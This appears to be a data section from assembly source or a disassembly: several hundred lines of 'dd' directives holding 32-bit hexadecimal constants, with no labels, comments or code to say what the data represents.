dd 0F45A6637h, 0AD30F402h, 476B3597h, 60D1C498h, 4EC8676Eh
dd 0EED0C01Ch, 983155CEh, 8304C0AFh, 4D9B6C40h, 194C24h
dd 982DA048h, 0EECC98C8h, 2429E26Fh, 0F8D81624h, 89F087Fh
dd 51CFB034h, 0BA8CF71Dh, 894B0280h, 4A7EA895h, 8306417Dh
dd 5220C869h, 78C60098h, 931B5661h, 686E9B6h, 0D3FCDCB0h
dd 42001116h, 0D0E1AE1Bh, 4BBA4F10h, 40E883A3h, 12582100h
dd 0B104E6AEh, 7EA40937h, 0B8040AE1h, 8D4CC199h, 0DED0002Ch
dd 197B0FEEh, 2A9CB4FAh, 0FD70C8D0h, 0E2AE18C0h, 0F0EE9D0h
dd 80AE0F59h, 0CF4E5697h, 0B43D0955h, 0E4F80128h, 6900DC71h
dd 0C65BF282h, 0FE4DD0E4h, 5CC0A2B0h, 7C896384h, 0E9213810h
dd 99D012h, 5C364ADDh, 0D81DEA5Fh, 0A7C1B7EBh, 8B427E3Eh
dd 48E09866h, 4898961Ah, 0C06CA09Dh, 343DDB5h, 0ABAD8FC9h
dd 169B274Bh, 94EE6A88h, 7F5B6500h, 0BE1EB789h, 162E7C2Dh
dd 413F2488h, 307D9C54h, 0CF4F209Dh, 0C8161C7Fh, 48B04488h
dd 0EFCC2713h, 4A4458CCh, 462835B0h, 122C0828h, 49F8BC0h
dd 87904334h, 666088FBh, 1E61A9Dh, 8F0C6C46h, 0EB974CD1h
dd 644112BAh, 0B9A0206Bh, 1855D88h, 0B67C787Ah, 2B6552C6h
dd 73BA8454h, 0AD5050F0h, 0D32A2FCCh, 2C01F053h, 0F71F2EF9h
dd 0DF0FE1Eh, 4C951C2Dh, 362941ABh, 80C4B569h, 1F530471h
dd 9D8C7273h, 0DC751400h, 51521354h, 30A7B270h, 0CE0DCCEDh
dd 98BCE8BDh, 48B82420h, 250610E7h, 189D68B6h, 0AD34FC3Ah
dd 18B8C1B5h, 3AB338FCh, 5CD8577Ah, 0A017C418h, 0B1486B69h
dd 8C3EBCA8h, 0EC11E3Ah, 60857CADh, 9DD0786Eh, 581162E4h
dd 2060BBD4h, 90D9B298h, 7060CE68h, 0E2CC3280h, 44123B0h
dd 232433C8h, 9F8A0B0Dh, 62582485h, 0FE20A288h, 879F93h
dd 0BC2CD6CCh, 0DEC12B69h, 9C52EC01h, 65CEE189h, 908C0BC1h
dd 0FA39B353h, 713EC803h, 992A9E17h, 0B034A0D4h, 81B40B55h
dd 1078942Bh, 677EDF05h, 748184F7h, 83DC7DEBh, 8B24C2Bh
dd 8C4BBCh, 0D0CD1566h, 0BFE8112Ah, 0E84E942Dh, 0D591DCh
dd 5BFFA3A7h, 6A293EF4h, 0CCCD283Ah, 0E239C40h, 0D0C4AE7Fh
dd 204D6270h, 47AE165Ch, 0D4E93809h, 14F082C8h, 320200A9h
dd 81B565CDh, 0BB235DD8h, 9DEC66FCh, 82D53887h, 0C8E80493h
dd 0E3004ADDh, 0EFB419D6h, 9DEBE137h, 0AC529C8Bh, 0D6EC2B00h
dd 0D1349B89h, 158C2865h, 28B53AB8h, 80C04234h, 0E5816B78h
dd 0E0BA9C0Bh, 0A8E03778h, 10BEABDh, 320C40ABh, 0B84C9DC5h
dd 0B554A6C9h, 48B56C09h, 8AE1ECF8h, 24525860h, 2104684h
dd 34069F81h, 10A63180h, 19F86F9h, 21231A30h, 7BD4AE68h
dd 9CA82820h, 31090270h, 166997BBh, 556AD4E8h, 0AC079901h
dd 0C0562302h, 12A4CC24h, 8D7422Dh, 0C0A8303Ch, 7E02FF46h
dd 88D0E0AEh, 57104A31h, 7C01AE15h, 596EB4DBh, 4C70F5D2h
dd 53E121EDh, 0C60280BBh, 0B069679Ah, 0A8946ED3h, 0FC25C524h
dd 0B0D0120h, 0AD6789EBh, 7CE870h, 9B8BE10Ch, 468D16F0h
dd 566028F1h, 8B2AF00Ch, 65D00869h, 0A091964h, 0E44802DBh
dd 510B00A5h, 0C81F321Dh, 31D25650h, 387788Ch, 4C9AA3A6h
dd 8022C3B5h, 0A12D0033h, 9F1CF99Bh, 20B70984h, 0CC3CF664h
dd 0B1F0A6h, 0B67D671Eh, 0E2A32978h, 84F8D326h, 690E3409h
dd 6B1131A8h, 40E5CD27h, 0F5F2A3A0h, 0D5CC8502h, 615286BAh
dd 4610B14Ch, 0F700F1B3h, 8DF5D1F3h, 1313A3CDh, 8BD3E106h
dd 0CED6C858h, 0C79D77A3h, 0AEB456C0h, 13CD080h, 30A75512h
dd 40E772D5h, 0F0C86888h, 0B10A1C9Ah, 983C70E2h, 6C6A0DC1h
dd 5849B842h, 0B1551574h, 692408DDh, 679264F4h, 0B414D6E0h
dd 42448CF7h, 0D6F22Ah, 92DAA6ABh, 65F3A701h, 51FB1212h
dd 0A223A82Fh, 6EB61700h, 75AF2952h, 34871CF6h, 0FC0065CDh
dd 3E40EFE2h, 81DBE8C9h, 9C757CBCh, 0E03C507Bh, 3451AA30h
dd 5E00577Fh, 9E7DBA8Ch, 9FB261h, 94C5481h, 0B339C653h
dd 0F359D302h, 2E9FB17h, 0C8C8E185h, 9920DAF8h, 21446FEh
dd 340A9F85h, 1638E7A0h, 885000F5h, 6D83F5Fh, 0C6398B05h
dd 0B082ABD7h, 0A7CC8A0h, 0BDDF3FBAh, 3FE4B86Eh, 43ED0EBEh
dd 0D81E8462h, 24747031h, 8AD183h, 0A335C23Dh, 825C20D5h
dd 3EA810ACh, 0BD16E00Fh, 0B04D6BA0h, 825A24Eh, 91C01731h
dd 0D08E80A1h, 0FFEF15h, 0D175C843h, 0E1CDDA3Ch, 0EA13BE02h
dd 814A58B7h, 0C59D33C0h, 2DE01864h, 2061A4C7h, 26C84C78h
dd 9528B613h, 0D4FAA882h, 0D48A84B8h, 7F778049h, 614B52EBh
dd 0CE648821h, 1DD16C34h, 12BBB691h, 2402396h, 2CF6C7E2h
dd 0C0A0DC85h, 0CE0288FDh, 0E91F6C8Bh, 5BF3850h, 84FC143Ch
dd 3C102F25h, 7826B7E2h, 58007C71h, 0E7AF0299h, 538D3A22h
dd 0A50E98D2h, 17A0860Fh, 0BC4A5DEFh, 80D8BE2Eh, 0A60C6505h
dd 6809E416h, 0DF983087h, 0B47D08D6h, 4164384Fh, 0D6E82F40h
dd 0C0172E47h, 24E4052Ch, 6237010Fh, 0F1150AC4h, 0EBD06001h
dd 0C9974600h, 0E31C5E40h
dd 6B683052h, 0ED340431h, 78875D5Eh, 54827DC4h, 9F843017h
dd 0A8340912h, 0F80F1C8Bh, 47429F8Dh, 78646753h, 39301B08h
dd 687C00D7h, 983E984h, 0A200E099h, 8DD8577Bh, 62B9007Dh
dd 326F96B5h, 0A100D2AEh, 36E380A8h, 0B63B39CCh, 17838368h
dd 819D7C61h, 19DCB8h, 5790F3Bh, 9AF3AF3h, 0A094A021h
dd 0B5CE810Bh, 4D187844h, 9DB848D4h, 0E5917201h, 0A375EC47h
dd 4747438h, 0A6247B02h, 2C38A05Bh, 0EF8F5C9Ch, 0A490B047h
dd 0EE8CA1B8h, 730902B4h, 0DFC05DA2h, 531E8084h, 2B59C82h
dd 6C518653h, 318A5F1h, 0EF7BBE0Bh, 20D253h, 0D2835687h
dd 95739DE2h, 0A18D2D00h, 5D2E8C5Ah, 0D5340001h, 8164B686h
dd 0F45FC867h, 66390CC0h, 0FD3AE6DCh, 898B7428h, 373150A0h
dd 0C03A6984h, 0E883DF68h, 36C2E5h, 0FA3B3F8Bh, 781E8C02h
dd 5AC0DC18h, 0C0D674D0h, 0A66CDEF9h, 0D90019F9h, 5B2B73EBh
dd 601ABADAh, 7A608EEDh, 9D2D0C8Dh, 1804E14Dh, 7914F1DEh
dd 3F5C18A1h, 3FDAD3Fh, 54466E51h, 0D802232Fh, 7296CF55h
dd 0F280E4B5h, 3A81069Ch, 78F904E5h, 3739E60Bh, 0A3106048h
dd 0BF44000Ah, 88B5E59Fh, 8890D378h, 70BD9B12h, 57A364C0h
dd 0C4E4A724h, 8A3360A1h, 68B21F50h, 0D1B680D2h, 0EB55A081h
dd 0CBFBFD02h, 4723F4EEh, 60A6C448h, 4CA905A7h, 0ED0C8047h
dd 0AE81081h, 1D1D5Fh, 0AC8924FAh, 17D6E1C0h, 0DCDF5CB4h
dd 0D6EA2DE0h, 42F4F301h, 7C305EA4h, 0DF2CDC30h, 9E24FB51h
dd 519C0930h, 0E2F80404h, 3347F220h, 0A9CC1EB8h, 0CB906405h
dd 0E4204AEFh, 134EA299h, 471C30EAh, 0A05E6284h, 33405B9Eh
dd 0C69ED2Ch, 0B935058Dh, 4482F4h, 649F4DE7h, 0C5134285h
dd 4001A55Eh, 4C2D3A18h, 788081ADh, 5474A376h, 19A8AF54h
dd 0B2C06000h, 57633779h, 0ACE1000Ch, 7C8BDCA4h, 982C88B4h
dd 5F823845h, 0B48F4A8h, 56446478h, 8B8070B3h, 0E7C96904h
dd 0ECF27174h, 0BD4907Bh, 3CBE4E6Ch, 26D2B0C0h, 821B1A00h
dd 9BB38DE5h, 618100E2h, 0B877171Fh, 0B24B163Fh, 4C23142Eh
dd 8281C802h, 4910600Bh, 12109018h, 445CB84Ah, 0F222DBF8h
dd 0F4947F1Ch, 45465Ch, 85F2941Ch, 5CDA3833h, 0B4C07450h
dd 0DEA468A2h, 6B7F3D00h, 0CF10DC25h, 0DFC801EEh, 375FB101h
dd 5268774Eh, 30A7E2B4h, 230427A8h, 0D52F6C8Dh, 0DCB0E490h
dd 327200EBh, 25A2B2DFh, 0AC6BF4B6h, 87C4F1E8h, 0E9C4BD73h
dd 0C0554E6h, 1A25CD32h, 0B0A49801h, 12043FCCh, 7087BF4h
dd 75CE2E5Eh, 62813500h, 6C802FB4h, 8A828C80h, 2096EC6Bh
dd 817A0560h, 2CFF5E69h, 0FD0023F0h, 7F9F6C7Ah, 995F734h
dd 5E8D3F40h, 33185802h, 96787A00h, 0BB3B00B3h, 2199766Dh
dd 383507ECh, 648119F9h, 1E7EF528h, 0F45604F8h, 23D0B4B5h
dd 0E76B8B14h, 7A08854Ch, 71D71C82h, 2667D8h, 0A6FA367Ah
dd 0C7ECF802h, 729DAE2Ah, 0C068179Ch, 45E85C7Ch, 0E430F9CDh
dd 0FC9448F8h, 2CDA5412h, 38BE52C0h, 0AF3A1330h, 0E4ECA874h
dd 74C0295Fh, 351A1B8h, 0E50BE946h, 0A7D8BA7Dh, 0A5040C81h
dd 27D910D6h, 1FA178E0h, 7D65CE63h, 556844CFh, 0ABD10E43h
dd 0B724FAC8h, 0BB1CA882h, 9114970Bh, 0A428044h, 0F9B28Bh
dd 0A2A36A1Ah, 51CCBE7Dh, 0E20EB094h, 0FCB017A7h, 5D9C1A75h
dd 0A829193Dh, 965EA400h, 99D2AC9Dh, 404800A0h, 0BF30E86Bh
dd 0CCBD41BCh, 9F549EF1h, 3ECAB6Bh, 69857A09h, 21D562CCh
dd 847A0127h, 713F90AAh, 0AC6084C3h, 0D9004A33h, 0F96B79EBh
dd 2788BA56h, 5C23C049h, 0D4DA22E1h, 32F214D0h, 6F35D518h
dd 31A1CCD0h, 0E05878C3h, 0A80D0C48h, 242015B0h, 2CF0CBCDh
dd 0B2D412B8h, 436417F0h, 0E7F4F432h, 8051EFC0h, 0DFCD98B7h
dd 20241ECBh, 687F0269h, 28DAF84Dh, 7CB044h, 0AAFB4C82h
dd 0AF4B661Fh, 73B53D0Ch, 9524E8E4h, 3920A40Ah, 990A3FA0h
dd 0D4ADB09Dh, 4A432A64h, 0F90BD0A0h, 0F8B99D3Bh, 2AE028DCh
dd 44C4A780h, 0C99F60D6h, 0F53827ECh, 1D197083h, 67827002h
dd 0E4B04A8h, 5F859D24h, 0FF3CD140h, 25AEA463h, 0D8D91273h
dd 32E6A101h, 2AD45A06h, 81850280h, 84A9B84Dh, 0CF02B458h
dd 5728A68Ch, 19B4806Fh, 6040C86Ah, 0DA096838h, 0FC1FB4F4h
dd 0A00C6817h, 4DCD8116h, 0CC0FB841h, 0F4613C1Bh, 88A2055Ah
dd 2C860460h, 0A5467494h, 87CD7900h, 0E32D174h, 20B1CC28h
dd 96EDAD00h, 982BCB4h, 17609238h, 0B6E771h, 948ACE45h
dd 1804430Fh, 4ED40BDEh, 34D040ABh, 163DF4Dh, 4A550D00h
dd 0C7B2BCD2h, 0A46C5495h, 0DA0A000Ch, 0D08C895Ch, 84046F21h
dd 0A8CA5E2Ch, 0B8580481h, 378A7C0Ch, 71158AF4h, 0DC661D4h
dd 0F680C79Dh, 764B0E89h, 280824F6h, 250BE61Dh, 117D8B56h
dd 0C8198D00h, 0B4127BD6h, 0C4CA383Fh, 0D6E6F100h, 0ED7DBA67h
dd 0C55CEBF2h, 0CA813A5h, 30B020C5h, 25E092D2h, 0B8713039h
dd 0EB603447h, 0D35A86h, 0A3896D77h, 0FDF5A211h, 966D508h
dd 3CD080F3h, 32B78902h, 0A54ED16h, 3A6CD050h, 472BFC6Ah
dd 6D0F0C08h, 4F9F22DEh, 0EEB4C176h, 6C980318h, 0B02F692Bh
dd 1D00D711h, 0CC907AFBh, 0E798DB95h, 5467B226h, 624A4088h
dd 0BC51BCE7h, 35183ED9h, 0E47CA570h, 61682860h, 1BEE58ACh
dd 0C9B7ECCBh, 0FE6EF1C7h, 1CF830DCh, 6C88184Ah, 728B89E8h
dd 6ADBF124h, 0E93C1A0Ch, 0BD1B80C9h, 9F9955E3h, 0D1A50B42h
dd 2060874Dh, 0D579140Ah, 6200C094h, 33A2FA52h, 0DDDC13F8h
dd 0DAB817E1h, 0C2AFC06Ch, 9E8EFA3h, 0D9591B81h, 6180CCD4h
dd 1CD02C7Bh, 0E4B80540h, 0D3135CAAh, 1925AD60h, 6860A005h
dd 0FA933690h, 0EBD400FCh, 5872A318h, 4200B909h, 4D204BBDh
dd 0EF30B505h, 807874h, 2406A97Ch, 0B1DC080Ch, 28B6DB0Eh
dd 9021D281h, 4A2A15E0h, 0C0EC886Ch, 0B41AD6E4h, 2C85E743h
dd 14F080E9h, 0DA604530h, 9CBA8350h, 773503A4h, 32E9286Ah
dd 617C8807h, 8760595Eh, 7BDD65A6h, 1E5F5E67h, 5097EDDCh
dd 0B480A711h, 0D0E2264Dh, 0CCA0DA98h, 9426928h, 0CBA94F35h
dd 0C041C8FCh, 4AA17B54h, 0C90F8777h, 37B60C55h, 41C868CBh
dd 0DFF929C0h, 88731C44h, 6781001Ch, 7E1603D6h, 9907B712h
dd 0E0F8780Bh, 62476A1Ch, 539CD051h, 0DAA6C048h, 62EAFA27h
dd 6857428Ch, 28659BB8h, 5E01AA4h, 0B4D820B7h, 90EC0356h
dd 5811E306h, 4A3BAB4Ch, 32FE0D0Bh, 0B0D9C01Bh, 0CD12B84h
dd 603BAFC5h, 14B069F0h, 50E54C44h, 2E508494h, 8218F056h
dd 0CCD488B3h, 0E890D476h, 6B4997C2h, 9EE4680Ch, 8993BFDCh
dd 2AD8B210h, 0FA24984Eh, 1B84DCCEh, 0DC36349h, 3F268930h
dd 0C9E8ACC1h, 143101D4h, 0A480EE18h, 84232AD2h, 3302A4A5h
dd 0BC5091EDh, 6F54A480h, 54CCE495h, 1339F46Eh, 2860057Dh
dd 10A04C74h, 99C01D3Ah, 2B5819E0h, 0C06905ABh, 80A4650h
dd 17641664h, 0E1B8A152h, 6F6829E5h, 2DCC821h, 0CE055D1h
dd 2AB84074h, 9E7464CDh, 0AF4B0B4h, 6DCAD209h, 24165890h
dd 4DE12184h, 801EA939h, 6B043F91h, 0C8E27D27h, 68B6A414h
dd 1920B504h, 0D112F8BCh, 0FA8C22FEh, 0E37C8132h, 2C2E20D0h
dd 0C0062B4h, 2A1280AEh, 98CF04Eh, 30EE9FE1h, 4C0B0010h
dd 7499C605h, 0D100146Dh, 3C3693A9h, 78BE9FEEh, 0CE0BA142h
dd 44A49865h, 14A2B3h, 8416BDCFh, 1869E62Eh, 58147E6Ah
dd 7188D238h, 0B86F243h
dd 1C90B067h, 30AD18E8h, 27C84E80h, 0A0E6EC6Fh, 0EF5E60B6h
dd 0F708FE18h, 80390518h, 0EF21B8DBh, 0CE00C32Ah, 14B79E63h
dd 583B7384h, 2F5F782Eh, 0A4234Ch, 726A835h, 740B2E29h
dd 0E324C7E7h, 8AE48978h, 78F7CC72h, 1132B8C0h, 8BDF1255h
dd 3782CAEh, 93B0E140h, 0DEF57010h, 70DA400h, 893BC1FCh
dd 2CF4430h, 0E25830BEh, 3CC101ECh, 29266F2Fh, 0BC647084h
dd 2CE93C9Ah, 0CBB5CEE4h, 69E89620h, 8C51213Ah, 0F346ED00h
dd 0C2DC791h, 736B7954h, 714CD058h, 0BB57C42Ch, 0D37C91Fh
dd 197E6C50h, 12C0C04Dh, 0E82F510Ah, 1500A823h, 825CEA0Dh
dd 58CF5C27h, 6C7F6BC1h, 2468962Bh, 2A3C8400h, 99D36977h
dd 40A21344h, 6BBA7C38h, 0C2F9436h, 3A2800FDh, 2516EB0Bh
dd 584BE305h, 39BF2800h, 55FCDCCFh, 0F93239E2h, 0D109D4D2h
dd 0F0D10391h, 318A579h, 21616E09h, 460C78D5h, 0AE7C0201h
dd 0D178D0DEh, 135D60F8h, 430158AEh, 9538B486h, 60775442h
dd 128B50Bh, 5856646Ah, 0D5465Eh, 3F59D69Ah, 1D7D5C7Fh
dd 55BDD1ABh, 0AE02E0B7h, 30B692EDh, 0A39EA07Ch, 74CCA205h
dd 0B0BC3EC3h, 53BEEBh, 6E26B2FAh, 0D69D0F89h, 0F01A8125h
dd 0F8BF0B1Ch, 88457377h, 186ADAE2h, 870B359Dh, 872D0D47h
dd 884C59E4h, 16DB05B0h, 2D446920h, 0EA4DF08Ch, 0E8608495h
dd 0CB710B40h, 0E5032A9Fh, 95732EA8h, 0B40C9802h, 2C804988h
dd 0D32BB86Fh, 0E25E8410h, 0C4DCF000h, 0C7BC0BF5h, 12145ED9h
dd 0FA60E4CCh, 0F621D812h, 0B8146E0h, 91E53006h, 0B3CCF820h
dd 898022B9h, 0FA6713F3h, 0E07CF69Fh, 242E6B2h, 0E007D02Ch
dd 7CD45EB5h, 0D278E40h, 3E69FA70h, 0ED00ABD0h, 0DD3A195Ch
dd 0F91EA988h, 620051FFh, 5071D78Dh, 83EE0A4Bh, 350B7CBh
dd 36050931h, 0DFA3D900h, 0D3C79B35h, 548900E0h, 0A8183F2h
dd 0E818D0DCh, 0ACF4DE4Eh, 0ECD452AEh, 0CBB68700h, 4BB04D78h
dd 3108580Fh, 0C0F1E9B3h, 997BDCA4h, 18A3D1E8h, 0C35205E7h
dd 0C1132474h, 16B428h, 9443EEB5h, 63FA015Ch, 0ED9BBAD5h
dd 7A286878h, 6A263100h, 617E1A37h, 0C3842955h, 2A3B0050h
dd 702C1116h, 6C32DB45h, 5130AAE2h, 4AD7003Ch, 681C3B29h
dd 434A0CC0h, 0C2083414h, 4CE96B8Bh, 7A060584h, 0E207697Eh
dd 0FE20C00Ch, 7B0AF7Ah, 26094908h, 0C2F1800Eh, 0CD01BDA5h
dd 70EC41C6h, 58743C55h, 93320E05h, 281D0D8h, 6490C06Ah
dd 19115408h, 0E01D360Ah, 8E6A401Bh, 6E56BD2Fh, 861594F0h
dd 6F065B6h, 1385E50Bh, 984DEFB8h, 0B4FC083Eh, 0C0FF3B43h
dd 90905B03h, 0B09B0270h, 483339DFh, 0F1E44C2Fh, 4EEF00B5h
dd 6F064595h, 0C82549D7h, 0E458054Ch, 994C23AAh, 51BBB0A7h
dd 1F000A25h, 0C93F0FA9h, 133EA586h, 20D49h, 2C058FECh
dd 8107677Eh, 2F6C9D30h, 6AF51CB0h, 0B4E13E6Bh, 0C81BAB94h
dd 0C456417Bh, 0F84798D5h, 0C2944DB0h, 0A3758401h, 6EEFB270h
dd 5A558830h, 323C8864h, 17349D50h, 65206098h, 0DE81173Dh
dd 0C88C8B6Bh, 0C940CFA1h, 62C5E033h, 0D106BE7Fh, 0D5FEDB82h
dd 6E6B2280h, 50300A0h, 69117060h, 64DC231Eh, 40E6F0FBh
dd 0B13BFEEh, 0EB82004Ah, 0E11BCB89h, 98B01A8Bh, 0C118E204h
dd 9CFC918Ah, 0A68F8638h, 0AD13B01Bh, 60B448BCh, 903635A1h
dd 0D1A70C94h, 5221B3DCh, 0ED3AF44h, 8B0430C0h, 0EA973D80h
dd 0DA3CB12Dh, 0A8F3FBE2h, 110E43A9h, 0A04BB630h, 0F8A06AAFh
dd 41AC0026h, 829A5D02h, 0D01252E9h, 0E41F7F13h, 7099E622h
dd 530B12F2h, 857CC863h, 633C094Ch, 18374E36h, 99B65319h
dd 0F50102C2h, 0B3C7D916h, 0D82D3A06h, 4DCFEC4h, 1440CBFBh
dd 3B6C62C8h, 0F427E000h, 980728EAh, 52290547h, 0A8A89D97h
dd 0E8084EECh, 54A4A5h, 0B81081D9h, 203A9830h, 677C8357h
dd 12175184h, 256F50EEh, 0BC04ACD8h, 0DD128CD7h, 0BA514h
dd 0E53584DCh, 56B01092h, 0AC0FD63Ch, 0C9B47EC0h, 0B0DC60A9h
dd 5E30B6E1h, 0F2024146h, 12F3EE17h, 0D8F58840h, 618050C1h
dd 0DC203C85h, 8BE002Ch, 0A9E28705h, 34A5D5FAh, 75604664h
dd 0F97FA2CCh, 3A01CE79h, 0D063B69Ch, 1C64349Dh, 0B15498D4h
dd 184D79CCh, 379E02BDh, 0EF273BE9h, 0E518F0E1h, 0B70388Ch
dd 78AD2869h, 20A8B0B0h, 0A24ABE3Ch, 540038D5h, 51AC479Ah
dd 213A4E9Dh, 72695594h, 34FC0F2Ch, 0F4B017EDh, 80EE091Bh
dd 70C4EAB8h, 0AD202197h, 28D09AE5h, 24549C45h, 18242004h
dd 0C11A3539h, 98B78182h, 1ABA7C94h, 80DE47D7h, 5E58107Dh
dd 32BC0077h, 9EAA8D96h, 0E2E29C45h, 615D2B01h, 0B0698C01h
dd 584CD06Ah, 0D55A99D0h, 4623A82Eh, 0AC32A206h, 48900948h
dd 8F99A8Fh, 0EE439700h, 93D80E8h, 360238BCh, 5181C100h
dd 0C3138BADh, 54B27BD9h, 0F8213E27h, 1395DE5h, 222AE00Ah
dd 0EA338CE8h, 476C41D6h, 43222426h, 0D6E5F00Eh, 0A34F6067h
dd 1A321FCBh, 5947D9EDh, 1000605Ah, 0FC8C43Fh, 566EDFh
dd 28C25EA4h, 5CDE3CA9h, 8B10C1B5h, 3EB85478h, 0C13B6B43h
dd 2C5E9A00h, 3278DE46h, 0ECD1362Ch, 0F080BB00h, 0B171E9E7h
dd 81BE1FC4h, 0C5320996h, 0FC003A41h, 55BB6360h, 0B2AA2D61h
dd 4391109Dh, 8D3DA880h, 9036AB6h, 1CC9E7BCh, 3C614CD4h
dd 25B8661Fh, 45649C67h, 9977B960h, 4842AB00h, 0C86805D5h
dd 84744C9Ch, 70238614h, 1444BD18h, 282DB3E6h, 0A4C40A75h
dd 0A340DD44h, 68099C92h, 0C3EE3709h, 0D3100618h, 0A0850149h
dd 62B173B7h, 16209017h, 3A245010h, 5B71E0D3h, 278302Ah
dd 0BD45F48h, 0E87CB4DBh, 0D5239D87h, 7F44DF30h, 0D38899DCh
dd 0D2C860BCh, 91A34BAEh, 7006B400h, 4CB98A98h, 866AD478h
dd 0BFEC7400h, 0C455CEF0h, 58A295B0h, 0EA034105h, 5D3105E1h
dd 35D47486h, 230C2E60h, 9A04033Fh, 78D150BFh, 69709EA4h
dd 0AD7CDEC0h, 174DB1C8h, 8E5853A8h, 0C0A6C87Ch, 30B60FEEh
dd 0C7B25F04h, 0C0B011B1h, 63B940EDh, 339C7613h, 916A0CE4h
dd 6AD6F0B8h, 5E112786h, 741E20F9h, 0EBB293C0h, 3A2EE5A3h
dd 0DA0177FAh, 0B48324B1h, 73343930h, 0A1CC10F9h, 603CFA64h
dd 0C04A1034h, 0A0B6548Ch, 64E32C0Eh, 30942A37h, 4688C8CEh
dd 0F3D1EBC1h, 0AD6C886Fh, 0C031D04Bh, 88244E64h, 659B88C2h
dd 6009345Eh, 0DB8810EDh, 44FC9A22h, 0CD05CB1Ch, 0F5E17CB0h
dd 0E02C84C1h, 0D6048070h, 0C87C8B61h, 8C12C040h, 0A1048D49h
dd 7B167008h, 4ABC34F8h, 7368048Ch, 986387CFh, 6509B55Ch
dd 0B7D60422h, 88A7003Ch, 0ACF9ABBBh, 51D123Bh, 79F3A8F8h
dd 26834BC1h, 38929C20h, 90A4BEB7h, 56D409C4h, 0BD9BA420h
dd 0ACA00EE8h, 0A09D3C39h, 7B678244h, 818026E5h, 0F0EF4130h
dd 0CD310023h, 4309461h, 0FFC7A84Eh, 0D5E5B044h, 580A94E0h
dd 3EFC5C3Dh, 11B058Ch, 981C3h, 2749210Ch, 0DF00865Fh
dd 7E2AD7B3h, 1C354ABBh, 12EFA33Eh, 894CA8A7h, 8A1490D1h
dd 0AAA40337h, 0E3E7D341h, 563B181Ch, 28F40A2Dh, 0E6E01D19h
dd 7DD13313h, 40CF0816h, 60EB5890h, 235A97F0h, 0CF80DC9Eh
dd 26C9D3EDh, 2DB2D700h, 5FB682D1h, 29AD6053h, 7C297478h
dd 1D8FC93Eh, 8C40206Fh, 0C898DC8h, 8B7202ECh, 7F3D64CCh
dd 0BB1A00C9h, 0B2420C0h, 425DC531h, 9888B454h, 99E58623h
dd 7D00183Eh, 0DB113CD1h, 0B130DC68h, 0C0893B0Ch, 0F8114A74h
dd 0DC6F01EBh, 9CB5E000h
dd 8C238F28h, 2C8ED720h, 407051D6h, 0E46CC592h, 0BD0F97E8h
dd 3B6CAEFh, 0AC765C81h, 904CDCB2h, 681B1418h, 0C8A14EE5h
dd 27A300B5h, 47C71D5Eh, 0EEFE4E3Eh, 0F8072349h, 10DD44FAh
dd 0A8060038h, 0BFD9E713h, 4860731Ah, 7115C575h, 0E600DA55h
dd 865A747Bh, 8F09CAECh, 0AB6A5456h, 79B4711Ch, 0AB018A5h
dd 0A243F73h, 0A3465C20h, 0C2A17300h, 0D10C725Ah, 98B9D2Fh
dd 0FD748210h, 4DCF012Ch, 10003FE0h, 0DC0B32D0h, 0CC50E5A0h
dd 1D4E078Ch, 7CF226B0h, 0C28EE26h, 0B748E814h, 6C402EE6h
dd 45E4EAh, 7A478839h, 738D1B0Bh, 7590F600h, 0BDED3063h
dd 107492DAh, 3B2ADB8h, 0CFF01311h, 0E4B5AA0Ah, 7E350918h
dd 0E44C26A7h, 0E4C2714Eh, 68D8E83Dh, 805B4BA0h, 539D2F14h
dd 50C1954Ah, 26E0307Bh, 11D4692Dh, 6E7D7C82h, 6860207Ch
dd 0DC720C90h, 61ED4640h, 982A596Dh, 0E4FC802Ch, 9437A22Eh
dd 0FAC1AA01h, 75C886EBh, 0A85F097Ch, 90515394h, 0A09E0312h
dd 0BA7FEDC0h, 950CDCC5h, 0A9D9A2AEh, 0F420970Ah, 0F512D550h
dd 0FE31A600h, 18A6E77h, 4C99003Bh, 9B3F8EE7h, 0B30AD1E0h
dd 9CEB3130h, 78BD7102h, 3EB85A11h, 4044E8D9h, 0DC349295h
dd 185CC218h, 0F603E50Fh, 0E1E4C404h, 6C6023AAh, 52D3212Fh
dd 79F8B8h, 4A074D50h, 2A191C86h, 190C83Eh, 0E53936CAh
dd 222A316Dh, 0FC1AF400h, 0EB00D404h, 33D5A97Ch, 5A1E9D97h
dd 9604E4EDh, 6C5F20h, 0CE61EC87h, 0CB38B88Fh, 0F856CA30h
dd 0BAAE1455h, 38810F8h, 169B3E0Eh, 88A5B14Ch, 30DABC31h
dd 0E412AE1Ah, 0E8E228D0h, 0AE1163C0h, 0D00FAB1Bh, 0BAF67E2h
dd 0BC18D938h, 0DC3B0B07h, 2432832Fh, 4833916h, 7D5E3C90h
dd 3ADB1595h, 45EB039h, 870EE6D0h, 6229CC74h, 54253800h
dd 85EF122Ah, 319051Dh, 0EC979B4Fh, 52DC8430h, 0B1F4C8h
dd 0A75311C3h, 0A6DAEE71h, 54857200h, 0EDB00E1Eh, 64CB9E1h
dd 69320482h, 87AC433Dh, 0E065D2F9h, 7AD737C0h, 61B6097Bh
dd 64C51478h, 0EE6042E4h, 0CD04F8ADh, 5C886AFFh, 8B4A58BCh
dd 0C041C804h, 8740D855h, 0D4D3280Bh, 65605E4Ch, 94B90Ah
dd 18E06899h, 3EBF6159h, 1302A504h, 0B24E7E5Dh, 0F6208CE1h
dd 0E0000C7Ch, 568E5EE8h, 3C6A008Ah, 2BF36DDAh, 7B18DB5Ch
dd 0F814FD3h, 1AA00CFh, 0EB2FF0A0h, 1604A63Ah, 0D865D124h
dd 504BCBCh, 0E06DECBEh, 9CA11000h, 0A4C0F481h, 689048B2h
dd 0D18242F2h, 6AD678B0h, 88410186h, 59DFBC0Bh, 4A68851Bh
dd 3CA838A8h, 0B5CEDB09h, 0D20FC98h, 25D94B40h, 4879EACBh
dd 1275D506h, 20AC9040h, 0F0BC73E8h, 0D2F5F340h, 980E604h
dd 6152C836h, 583B4C93h, 92DCC011h, 0CCD05AC4h, 51C5587Ch
dd 4CE99D33h, 744D8B25h, 5909A660h, 0C096258Fh, 5F4E18F8h
dd 0BA8EDC46h, 40709891h, 0DC60EA2Eh, 0AE0B7D41h, 9FF113E5h
dd 648A07D4h, 97204AE1h, 0E220A371h, 0B1243046h, 49362501h
dd 51686796h, 25277C70h, 68913070h, 0A291859Bh, 5481EEAAh
dd 7D012F7Fh, 4433C93Ah, 9C0AD98h, 634974DBh, 71106090h
dd 0BBCC8F89h, 0DCE28D4Ah, 599CF00h, 0E2AF93E3h, 80F3FCF8h
dd 0B015EAF9h, 0E046C52h, 443C8914h, 579A0D60h, 0E4133385h
dd 8009BBFAh, 7A5C10E0h, 0F8C595B1h, 0A16041C4h, 820757F5h
